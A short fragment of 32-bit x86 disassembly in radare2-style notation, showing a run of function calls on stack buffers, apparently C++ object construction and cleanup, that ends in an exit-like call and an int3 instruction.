call fcn.00414ab0
add esp, 4
push esi
mov edx, eax
mov byte [ebp - 4], 0x8e
lea ecx, [ebp - 0x344]
call fcn.00414b60
add esp, 4
lea ecx, [ebp - 0x204]
mov byte [ebp - 4], 0x8f
push ecx
mov edx, eax
lea ecx, [ebp - 0x314]
call fcn.00414ab0
add esp, 4
mov ecx, eax
mov byte [ebp - 4], 0x90
call fcn.00402570
mov edx, eax
lea ecx, [ebp - 0x21c]
call fcn.00405f20
lea ecx, [ebp - 0x21c]
call fcn.00402580
lea ecx, [ebp - 0x314]
call fcn.00402580
lea ecx, [ebp - 0x344]
call fcn.00402580
lea ecx, [ebp - 0x32c]
call fcn.00402580
lea ecx, [ebp - 0x18c]
call fcn.00402580
lea ecx, [ebp - 0x3c]
call fcn.00402580
lea ecx, [ebp - 0x174]
call fcn.004147a0
push 0
call fcn.0041c466
int3